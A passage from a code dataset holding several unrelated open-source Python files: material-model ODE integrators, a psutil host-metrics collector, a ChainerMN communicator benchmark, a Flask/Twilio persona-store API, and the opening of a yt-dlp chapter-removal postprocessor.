y, erate, T):\n \"\"\"\n Return the rate equations for the strain-based version of the model\n\n Args:\n t: (nbatch,) times\n y: (nbatch,1+nhist+1) [stress, history, damage]\n erate: (nbatch,) strain rates\n T: (nbatch,) temperatures\n\n Returns:\n y_dot: (nbatch,1+nhist+1) state rate\n d_y_dot_d_y: (nbatch,1+nhist+1,1+nhist+1) Jacobian wrt the state\n d_y_dot_d_erate:(nbatch,1+nhist+1) Jacobian wrt the strain rate\n d_y_dot_d_T: (nbatch,1+nhist+1) derivative wrt temperature (unused)\n \"\"\"\n stress = y[..., 0].clone()\n h = y[..., 1 : 1 + self.flowrule.nhist].clone()\n d = y[..., -1].clone()\n\n frate, dfrate = self.flowrule.flow_rate(stress / (1 - d), h, t, T, erate)\n hrate, dhrate = self.flowrule.history_rate(stress / (1 - d), h, t, T, erate)\n drate, ddrate = self.dmodel.damage_rate(stress / (1 - d), d, t, T, erate)\n\n # Stacked rate of evolution vector\n result = torch.cat(\n [\n ((1 - d) * self.E(T) * (erate - frate)).unsqueeze(-1),\n hrate,\n drate.unsqueeze(-1),\n ],\n dim=-1,\n )\n\n # Form the large blocked matrix of d(y_dot)/d(y)\n row1 = torch.cat(\n [\n (-self.E(T) * dfrate).unsqueeze(-1).unsqueeze(-1),\n (\n -self.E(T)[..., None, None]\n * self.flowrule.dflow_dhist(stress / (1 - d), h, t, T, erate)\n * (1 - d)[..., None, None]\n ),\n (-self.E(T) * (erate - frate) - self.E(T) * dfrate * stress / (1 - d))\n .unsqueeze(-1)\n .unsqueeze(-1),\n ],\n dim=-1,\n )\n row2 = torch.cat(\n [\n (\n self.flowrule.dhist_dstress(stress / (1 - d), h, t, T, erate)\n / (1 - d)[..., None]\n ).unsqueeze(-1),\n dhrate,\n (\n self.flowrule.dhist_dstress(stress / (1 - d), h, t, T, erate)\n * stress[..., None]\n / (1 - d[..., None]) ** 2\n ).unsqueeze(-1),\n ],\n dim=-1,\n )\n row3 = torch.cat(\n [\n (\n self.dmodel.d_damage_rate_d_s(stress / (1 - d), d, t, T, erate)\n / (1 - d)\n )[..., None, None],\n torch.zeros_like(h).unsqueeze(-2),\n ddrate[..., None, None],\n ],\n dim=-1,\n )\n dresult = torch.cat([row1, row2, row3], dim=-2)\n\n # Form the stacked derivative of the state rate with respect to the strain rate\n drate = torch.cat(\n [\n (\n self.E(T)\n * (1 - d)\n * (\n 1.0\n - self.flowrule.dflow_derate(stress / (1 - d), h, t, T, erate)\n )\n ).unsqueeze(-1),\n self.flowrule.dhist_derate(stress / (1 - d), h, t, T, erate),\n self.dmodel.d_damage_rate_d_e(\n stress / (1 - d), d, t, T, erate\n ).unsqueeze(-1),\n ],\n dim=-1,\n )\n\n # Logically we should return the derivative wrt T, but right now\n # we're not going to use it\n Trate = torch.zeros_like(y)\n\n return result, dresult, drate, Trate\n\n\nclass ModelIntegrator(nn.Module):\n \"\"\"\n This class provides infrastructure for integrating constitutive models in\n either strain or stress control.\n\n Args:\n model: base strain-controlled model\n method (optional): integrate method used to solve the equations, defaults\n to `\"backward-euler\"`\n use_adjoint (optional): if `True` use the adjoint approach to\n **kwargs: passed on to the odeint method\n\n \"\"\"\n\n def __init__(self, model, *args, use_adjoint=True, **kwargs):\n super().__init__(*args)\n self.model = model\n self.use_adjoint = use_adjoint\n self.kwargs_for_integration = kwargs\n\n if self.use_adjoint:\n self.imethod = ode.odeint_adjoint\n else:\n self.imethod = ode.odeint\n\n def solve_both(self, times, temperatures, idata, control):\n \"\"\"\n Solve for either strain or stress control at once\n\n Args:\n times: input times, (ntime,nexp)\n temperatures: input temperatures (ntime,nexp)\n idata: input data (ntime,nexp)\n control: signal for stress/strain control (nexp,)\n \"\"\"\n rates = torch.cat(\n (\n torch.zeros(1, idata.shape[1], device=idata.device),\n (idata[1:] - idata[:-1]) / (times[1:] - times[:-1]),\n )\n )\n # Likely if this happens dt = 0\n rates[torch.isnan(rates)] = 0\n\n rate_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(times, rates)\n base_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(times, idata)\n temperature_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, temperatures\n )\n\n init = torch.zeros(times.shape[1], self.model.nhist, device=idata.device)\n\n bmodel = BothBasedModel(\n self.model,\n rate_interpolator,\n base_interpolator,\n temperature_interpolator,\n control,\n )\n\n return self.imethod(bmodel, init, times, **self.kwargs_for_integration)\n\n def solve_strain(self, times, strains, temperatures):\n \"\"\"\n Basic model definition: take time and strain rate and return stress\n\n Args:\n times: input times, shape (ntime)\n strains: input strains, shape (ntime, nbatch)\n temperatures: input temperatures, shape (ntime, nbatch)\n\n Returns:\n y: stacked [stress, history, damage] vector of shape\n `(ntime,nbatch,1+nhist+1)`\n \"\"\"\n strain_rates = torch.cat(\n (\n torch.zeros(1, strains.shape[1], device=strains.device),\n (strains[1:] - strains[:-1]) / (times[1:] - times[:-1]),\n )\n )\n # Likely if this happens dt = 0\n strain_rates[torch.isnan(strain_rates)] = 0\n\n erate_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, strain_rates\n )\n temperature_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, temperatures\n )\n\n init = torch.zeros(times.shape[1], self.model.nhist, device=strains.device)\n\n emodel = StrainBasedModel(\n self.model, erate_interpolator, temperature_interpolator\n )\n\n return self.imethod(emodel, init, times, **self.kwargs_for_integration)\n\n def solve_stress(self, times, stresses, temperatures):\n \"\"\"\n Inverse model definition: take time and stress rate and return strain\n\n Args:\n times: input times, shape (ntime,)\n stresses: input stresses, shape (ntime, nbatch)\n temperatures: input temperatures, shape (ntime, nbatch)\n\n Returns:\n y: stack [strain, history, damage] vector\n of shape `(ntime,nbatch,2+nhist)`\n \"\"\"\n stress_rates = torch.cat(\n (\n torch.zeros(1, stresses.shape[1], device=stresses.device),\n (stresses[1:] - stresses[:-1]) / (times[1:] - times[:-1]),\n )\n )\n # Likely if this happens dt = 0\n stress_rates[torch.isnan(stress_rates)] = 0\n\n stress_rate_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, stress_rates\n )\n stress_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, stresses\n )\n temperature_interpolator = utility.ArbitraryBatchTimeSeriesInterpolator(\n times, temperatures\n )\n\n init = torch.zeros(times.shape[1], self.model.nhist, device=stresses.device)\n\n smodel = StressBasedModel(\n self.model,\n stress_rate_interpolator,\n stress_interpolator,\n temperature_interpolator,\n )\n\n return self.imethod(smodel, init, times, **self.kwargs_for_integration)\n\n def forward(self, t, y):\n \"\"\"\n Evaluate both strain and stress control and paste into the right\n locations.\n\n Args:\n t: input times\n y: input state\n \"\"\"\n raise NotImplementedError(\"forward method is pure virtual in base class\")\n\n\nclass BothBasedModel(nn.Module):\n \"\"\"\n Provides both the strain rate and stress rate form at once, for better vectorization\n\n Args:\n model: base InelasticModel\n rate_fn: controlled quantity rate interpolator\n base_fn: controlled quantity base interpolator\n T_fn: temperature interpolator\n indices: split into strain and stress control\n \"\"\"\n\n def __init__(self, model, rate_fn, base_fn, T_fn, control, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.model = model\n self.rate_fn = rate_fn\n self.base_fn = base_fn\n self.T_fn = T_fn\n self.control = control\n\n self.emodel = StrainBasedModel(self.model, self.rate_fn, self.T_fn)\n self.smodel = StressBasedModel(\n self.model, self.rate_fn, self.base_fn, self.T_fn\n )\n\n def forward(self, t, y):\n \"\"\"\n Evaluate both strain and stress control and paste into the right\n locations.\n\n Args:\n t: input times\n y: input state\n \"\"\"\n strain_rates, strain_jacs = self.emodel(t, y)\n stress_rates, stress_jacs = self.smodel(t, y)\n\n actual_rates = torch.zeros_like(strain_rates)\n\n e_control = self.control == 0\n s_control = self.control == 1\n\n actual_rates[..., e_control, :] = strain_rates[..., e_control, :]\n actual_rates[..., s_control, :] = stress_rates[..., s_control, :]\n\n actual_jacs = torch.zeros_like(strain_jacs)\n actual_jacs[..., e_control, :, :] = strain_jacs[..., e_control, :, :]\n actual_jacs[..., s_control, :, :] = stress_jacs[..., s_control, :, :]\n\n return actual_rates, actual_jacs\n\n\nclass StrainBasedModel(nn.Module):\n \"\"\"\n Provides the strain rate form\n\n Args:\n model: base InelasticModel\n erate_fn: erate(t)\n T_fn: T(t)\n \"\"\"\n\n def __init__(self, model, erate_fn, T_fn, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.model = model\n self.erate_fn = erate_fn\n self.T_fn = T_fn\n\n def forward(self, t, y):\n \"\"\"\n Strain rate as a function of t and state\n\n Args:\n t: input times\n y: input state\n \"\"\"\n return self.model(t, y, self.erate_fn(t), self.T_fn(t))[\n :2\n ] # Don't need the extras\n\n\nclass StressBasedModel(nn.Module):\n \"\"\"\n Provides the stress rate form\n\n Args:\n model: base InelasticModel\n srate_fn: srate(t)\n T_fn: T(t)\n \"\"\"\n\n def __init__(self, model, srate_fn, stress_fn, T_fn, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.model = model\n self.srate_fn = srate_fn\n self.stress_fn = stress_fn\n self.T_fn = T_fn\n\n def forward(self, t, y):\n \"\"\"\n Stress rate as a function of t and state\n\n Args:\n t: input times\n y: input state\n \"\"\"\n csr = self.srate_fn(t)\n cs = self.stress_fn(t)\n cT = self.T_fn(t)\n\n erate_guess = torch.zeros_like(y[..., 0])[..., None]\n\n def RJ(erate):\n yp = y.clone()\n yp[..., 0] = cs\n ydot, _, Je, _ = self.model(t, yp, erate[..., 0], cT)\n\n R = ydot[..., 0] - csr\n J = Je[..., 0]\n\n return R[..., None], J[..., None, None]\n\n erate, _ = solvers.newton_raphson(RJ, erate_guess)\n yp = y.clone()\n yp[..., 0] = cs\n ydot, J, Je, _ = self.model(t, yp, erate[..., 0], cT)\n\n # Rescale the jacobian\n J[..., 0, :] = -J[..., 0, :] / Je[..., 0][..., None]\n J[..., :, 0] = 0\n\n # Insert the strain rate\n ydot[..., 0] = erate[..., 0]\n\n return ydot, J\n", "repo_name": "Argonne-National-Laboratory/pyoptmat", "sub_path": "pyoptmat/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 18891, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "pyoptmat.damage.NoDamage", "line_number": 156, "usage_type": "call"}, {"api_name": "pyoptmat.damage", "line_number": 156, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 272, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 272, "usage_type": "name"}, {"api_name": "pyoptmat.ode.odeint_adjoint", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pyoptmat.ode", "line_number": 293, "usage_type": "name"}, {"api_name": "pyoptmat.ode.odeint", "line_number": 295, "usage_type": "attribute"}, {"api_name": "pyoptmat.ode", "line_number": 295, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 307, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 314, "usage_type": "call"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 316, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 316, "usage_type": "name"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 317, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 317, "usage_type": "name"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 318, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 318, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 349, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 354, "usage_type": "call"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 356, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 356, "usage_type": "name"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 359, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 359, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 384, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 386, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 391, "usage_type": "call"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 393, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 393, "usage_type": "name"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 396, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 396, "usage_type": "name"}, {"api_name": "pyoptmat.utility.ArbitraryBatchTimeSeriesInterpolator", "line_number": 399, "usage_type": "call"}, {"api_name": "pyoptmat.utility", "line_number": 399, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 403, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 426, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 426, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 463, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 471, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 478, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 478, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 507, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 507, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 536, "usage_type": "call"}, {"api_name": "pyoptmat.solvers.newton_raphson", "line_number": 548, "usage_type": "call"}, {"api_name": "pyoptmat.solvers", "line_number": 548, "usage_type": "name"}]} {"seq_id": "28892382765", "text": "import os\nimport psutil\nimport trawl_agent.common.api_handler\nimport time\nimport re\n\nclass HostStats():\n def get_parts(self):\n fsignore = ['iso9660', 'cdrom']\n partitions = []\n mounts = psutil.disk_partitions(all=False)\n for mount in mounts:\n if mount.fstype not in fsignore:\n partitions.append(mount.mountpoint)\n\n return partitions\n\n def net_stats(self):\n\n parts = [\n r'(^|\\s+)',\n r'(?P\\w+)\\:\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)\\s+',\n r'(?P\\d+)',\n ]\n pattern = re.compile(''.join(parts))\n\n net = {}\n f = open('/proc/net/dev', 'r')\n lines = f.readlines()\n for line in lines:\n m = pattern.match(line) if True else None\n if m is not None:\n net[m.group('device')] = m.groupdict()\n\n devs = net.keys()\n net_total = {}\n for dev in devs:\n net_total[dev] = ( int(net[dev]['rbytes']) + int(net[dev]['sbytes']) )\n\n return net_total\n\n\n def disk_space_stats(self, stat):\n partitions = self.get_parts()\n disk_usage = {}\n for part in partitions:\n p = psutil.disk_usage(part)\n if stat == 'used':\n disk_usage[part] = p.used\n else:\n disk_usage[part] = p.total\n\n return disk_usage\n\n def cpu_stats(self):\n la = os.getloadavg()\n stats = {}\n stats['la1'], stats['la5'], stats['la15'] = la[0], la[1], la[2]\n cpu_pct_stats = psutil.cpu_times_percent(interval=1)\n stats['cpu_iowait'], stats['cpu_sys'], stats['cpu_usr'], stats['cpu_idle'], stats['cpu_steal'] = cpu_pct_stats.iowait, cpu_pct_stats.system, cpu_pct_stats.user, cpu_pct_stats.idle, cpu_pct_stats.steal\n stats['cpu_count'] = psutil.cpu_count()\n\n return stats\n\n def mem_stats(self):\n vram = psutil.virtual_memory()\n stats = {'vm_total': vram[0], 'vm_avail': vram[1], 'vm_used': vram[3], 'vm_buffers': vram[7], 'vm_cache': vram[8]}\n\n return stats\n\n def swap_stats(self):\n swap = psutil.swap_memory()\n stats = {'swap_total': swap[0], 'swap_free': swap[2], 'swap_used': swap[1], 'swap_pct': swap[3]}\n\n return stats\n\n\n def collect(self):\n stats = {}\n stats['log_type'] = 'sysstats'\n up = trawlers.trawl_agent.common.api_handler.UploadHostStats()\n run1 = {}\n while True:\n try:\n ns = self.net_stats()\n ms = self.mem_stats()\n cs = self.cpu_stats()\n du = self.disk_space_stats('used')\n dt = self.disk_space_stats('total')\n if len(run1.keys()) == 0:\n run1 = ns\n else:\n nets = {}\n for key in ns.keys():\n nets[key] = ( ns[key] - run1[key] ) / 300\n\n stats['NET'] = nets\n stats['MEM'] = ms\n stats['CPU'] = cs\n stats['DISK_TOTAL'] = dt\n stats['DISK_USED'] = du\n up.upload_stats(stats)\n run1 = ns\n time.sleep(300)\n except:\n raise\n\n", "repo_name": "Cirorules/trawl_agent", "sub_path": "trawl_agent/common/hoststats.py", "file_name": "hoststats.py", "file_ext": "py", "file_size_in_byte": 3805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "psutil.disk_partitions", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 40, "usage_type": "call"}, {"api_name": "psutil.disk_usage", "line_number": 62, "usage_type": "call"}, {"api_name": "os.getloadavg", "line_number": 71, "usage_type": "call"}, {"api_name": "psutil.cpu_times_percent", "line_number": 74, "usage_type": "call"}, {"api_name": "psutil.cpu_count", "line_number": 76, "usage_type": "call"}, {"api_name": "psutil.virtual_memory", "line_number": 81, "usage_type": "call"}, {"api_name": "psutil.swap_memory", "line_number": 87, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 119, "usage_type": "call"}]} {"seq_id": "12889042960", "text": "from . import CommBench, setup_model, update_once, print_experimental_env\n\nimport argparse\nimport socket\n\nfrom logging import DEBUG\nfrom logging import getLogger\nfrom logging import StreamHandler\n\nlogger = getLogger(__name__)\nhandler = StreamHandler()\nhandler.setLevel(DEBUG)\nlogger.setLevel(DEBUG)\nlogger.addHandler(handler)\n\ntry:\n import chainer\n import chainermn\n import mpi4py.MPI\n\nexcept:\n logger.exception(\"rank=%d, host=%s\", mpi4py.MPI.COMM_WORLD.rank,\n socket.gethostname())\n import traceback\n traceback.print_exc()\n raise\n\npossible_comm_names = ['flat', 'hierarchical', 'two_dimensional',\n 'naive', 'pure_nccl', 'pure_nccl_fp16']\ndefault_com_names = ['pure_nccl', 'pure_nccl_fp16']\n\n\ndef main():\n parser = argparse.ArgumentParser('Communicator Benchmark 1:'\n ' allreduce_grad latency stats')\n parser.add_argument('--model', default='resnet50', help=\"Type of model\",\n choices=['resnet50', 'resnet101', 'resnet152'])\n parser.add_argument('--communicator_names', '--comm', type=str,\n help=\"Communicator names\")\n parser.add_argument('--use_gpu', '-g', help='Use GPU',\n action='store_true', default=True)\n parser.add_argument('--label_num', help='Number of labels',\n type=int, default=1000)\n parser.add_argument('--n_trials', '-n', help='Number of trials',\n type=int, default=100)\n parser.add_argument('--interval', help='interval in sec',\n type=int, default=0)\n parser.add_argument('--verbose', '-v', action='store_true',\n help=\"Verbose mode to see each latency\")\n args = parser.parse_args()\n\n model = setup_model(args.model, args.label_num)\n communicator_names = args.communicator_names\n use_gpu = args.use_gpu\n model_name = args.model\n n_trials = args.n_trials\n\n if args.communicator_names is None:\n communicator_names = default_com_names\n else:\n communicator_names = communicator_names.split(',')\n for name in communicator_names:\n assert name in possible_comm_names\n\n comm = chainermn.create_communicator()\n\n if use_gpu:\n chainer.cuda.get_device(comm.intra_rank).use()\n model.to_gpu()\n update_once(model)\n print_experimental_env(comm, model, model_name, n_trials, logger)\n\n if comm.rank == 0:\n logger.info(\"Communicator names: {}\".format(communicator_names))\n\n logger.info('-----------------------------------------------')\n logger.info('Communicator Mean Median Min Max Std')\n\n for communicator_name in communicator_names:\n bench = CommBench(communicator_name, n_trials,\n args.interval, args.verbose)\n bench.benchmark(model)\n bench.pp_result()\n\n\nif __name__ == '__main__':\n try:\n main()\n except:\n logger.exception(\"rank=%d, host=%s\", mpi4py.MPI.COMM_WORLD.rank,\n socket.gethostname())\n import traceback\n traceback.print_exc()\n", "repo_name": "chainer/comm_bench", "sub_path": "comm_bench/bench1.py", "file_name": "bench1.py", "file_ext": "py", "file_size_in_byte": 3140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 12, "usage_type": "argument"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "argument"}, {"api_name": "mpi4py.MPI.MPI", "line_number": 22, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 22, "usage_type": "name"}, {"api_name": "socket.gethostname", "line_number": 23, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 25, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 34, "usage_type": "call"}, {"api_name": "chainermn.create_communicator", "line_number": 65, "usage_type": "call"}, {"api_name": "chainer.cuda.get_device", "line_number": 68, "usage_type": "call"}, {"api_name": "chainer.cuda", "line_number": 68, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI.MPI", "line_number": 90, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 90, "usage_type": "name"}, {"api_name": "socket.gethostname", "line_number": 91, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 93, "usage_type": "call"}]} {"seq_id": "26515627884", "text": "from flask import Flask, redirect, url_for, request, jsonify, json, Response\nfrom twilio.rest import Client\n\nfrom Persona import Persona\n\napp = Flask(__name__)\n\nsegment_persona_map = {\n \"segment_0\": \"Persona 0\", \"segment_1\": \"Persona 1\", \"segment_2\": \"Persona 2\", \"segment_3\": \"Persona 3\"\n }\naccount_sid = ''\nauth_token = ''\nwhatsapp_sender = 'whatsapp:'\n\n@app.route('/')\ndef hello_world():\n return 'Welcome to Persona Based Store Service!'\n\n\n@app.route('/api/v1/sendMessage', methods=['POST'])\ndef send_message():\n json_string = json.dumps(request.get_json())\n json_dict = json.loads(json_string)\n\n phone_number = 'whatsapp:' + json_dict['phoneNumber']\n location = json_dict['location']\n persona_name = json_dict['personaName']\n result_summary = 'Your persona is ' + persona_name + ' . Please head to ' + location + ' to enjoy the collection '\n 'curate according to your taste. Happy shopping!'\n\n client = Client(account_sid, auth_token)\n\n message = client.messages.create(\n from_=whatsapp_sender,\n body=result_summary,\n to=phone_number\n )\n\n return Response(message.sid, status=200, mimetype='application/json')\n\n\n@app.route('/api/v1/categories/')\ndef get_categories(gender):\n # hardcoding the gender for the time being since our data is only for female category\n gender = 'female';\n print('Categories for %s' % gender)\n js = open('static/json/categories.json').read()\n resp = Response(js, status=200, mimetype='application/json')\n return resp\n\n\n@app.route('/api/v1/personas/')\ndef get_personas(gender):\n # hardcoding the gender for the time being since our data is only for female category\n file_name = 'personas_' + gender+'.json'\n print('Personas for %s' % gender)\n js = open('static/json/' + file_name).read()\n resp = Response(js, status=200, mimetype='application/json')\n return resp\n\n\n@app.route('/api/v1/personas/computed', methods=['POST'])\ndef predict_persona():\n json_string = json.dumps(request.get_json())\n json_dict = json.loads(json_string)\n print(json_dict[\"gender\"])\n gender_value = json_dict[\"gender\"]\n selected_attributes = json_dict[\"selectedAttributes\"]\n selected_attributes_category = selected_attributes[\"name\"]\n selected_attributes_array = selected_attributes[\"attributes\"]\n\n param_dict = {}\n\n for x in selected_attributes_array:\n print ('name %s' % x[\"name\"])\n print ('value %s' % x[\"value\"])\n if len(x[\"value\"]) != 0:\n param_dict['Attribute_' + (x[\"name\"].lower()).replace(' ','_')] = x[\"value\"][0]\n\n print(gender_value + \" \" + selected_attributes_category)\n\n return Response(calculate_persona(param_dict, selected_attributes_category), status=200, mimetype='application/json')\n\n\ndef calculate_persona(param_dict, selected_attributes_category):\n obj = Persona()\n\n if selected_attributes_category == 'Dresses for Women':\n obj.load_model('computation/segment_params.txt', 'computation/segment_predictions.csv')\n elif selected_attributes_category == 'Denims for Women':\n obj.load_model('computation/segment_params_denim.txt', 'computation/segment_predictions_denim.csv')\n\n file_name = 'personas_female.json'\n js = open('static/json/' + file_name).read()\n personas_list = json.loads(js)\n\n results_list = personas_list\n\n if len(param_dict) != 0:\n predicted_persona = obj.predict_persona(param_dict)\n print('Predicted Persona %s' % predicted_persona)\n persona = predicted_persona.pop()\n persona_name = segment_persona_map[persona]\n print ('Computed Persona: %s' % persona_name)\n\n index_of_space = persona_name.index(' ')\n persona_id = int(persona_name[index_of_space+1:])\n results_list = personas_list[persona_id:persona_id+1]\n\n return json.dumps(results_list)\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n\n", "repo_name": "Waterfox83/PersonaBasedStoreService", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 23, "usage_type": "name"}, {"api_name": "twilio.rest.Client", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 82, "usage_type": "call"}, {"api_name": "Persona.Persona", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.json.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 95, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 110, "usage_type": "name"}]} {"seq_id": "37601443442", "text": "import copy\nimport heapq\nimport os\n\nfrom .common import PostProcessor\nfrom .ffmpeg import FFmpegPostProcessor, FFmpegSubtitlesConvertorPP\nfrom .sponsorblock import SponsorBlockPP\nfrom ..utils import PostProcessingError, orderedSet, prepend_extension\n\n_TINY_CHAPTER_DURATION = 1\nDEFAULT_SPONSORBLOCK_CHAPTER_TITLE = '[SponsorBlock]: %(category_names)l'\n\n\nclass ModifyChaptersPP(FFmpegPostProcessor):\n def __init__(self, downloader, remove_chapters_patterns=None, remove_sponsor_segments=None, remove_ranges=None,\n *, sponsorblock_chapter_title=DEFAULT_SPONSORBLOCK_CHAPTER_TITLE, force_keyframes=False):\n FFmpegPostProcessor.__init__(self, downloader)\n self._remove_chapters_patterns = set(remove_chapters_patterns or [])\n self._remove_sponsor_segments = set(remove_sponsor_segments or []) - set(SponsorBlockPP.NON_SKIPPABLE_CATEGORIES.keys())\n self._ranges_to_remove = set(remove_ranges or [])\n self._sponsorblock_chapter_title = sponsorblock_chapter_title\n self._force_keyframes = force_keyframes\n\n @PostProcessor._restrict_to(images=False)\n def run(self, info):\n self._fixup_chapters(info)\n # Chapters must be preserved intact when downloading multiple formats of the same video.\n chapters, sponsor_chapters = self._mark_chapters_to_remove(\n copy.deepcopy(info.get('chapters')) or [],\n copy.deepcopy(info.get('sponsorblock_chapters')) or [])\n if not chapters and not sponsor_chapters:\n return [], info\n\n real_duration = self._get_real_video_duration(info['filepath'])\n if not chapters:\n chapters = [{'start_time': 0, 'end_time': info.get('duration') or real_duration, 'title': info['title']}]\n\n info['chapters'], cuts = self._remove_marked_arrange_sponsors(chapters + sponsor_chapters)\n 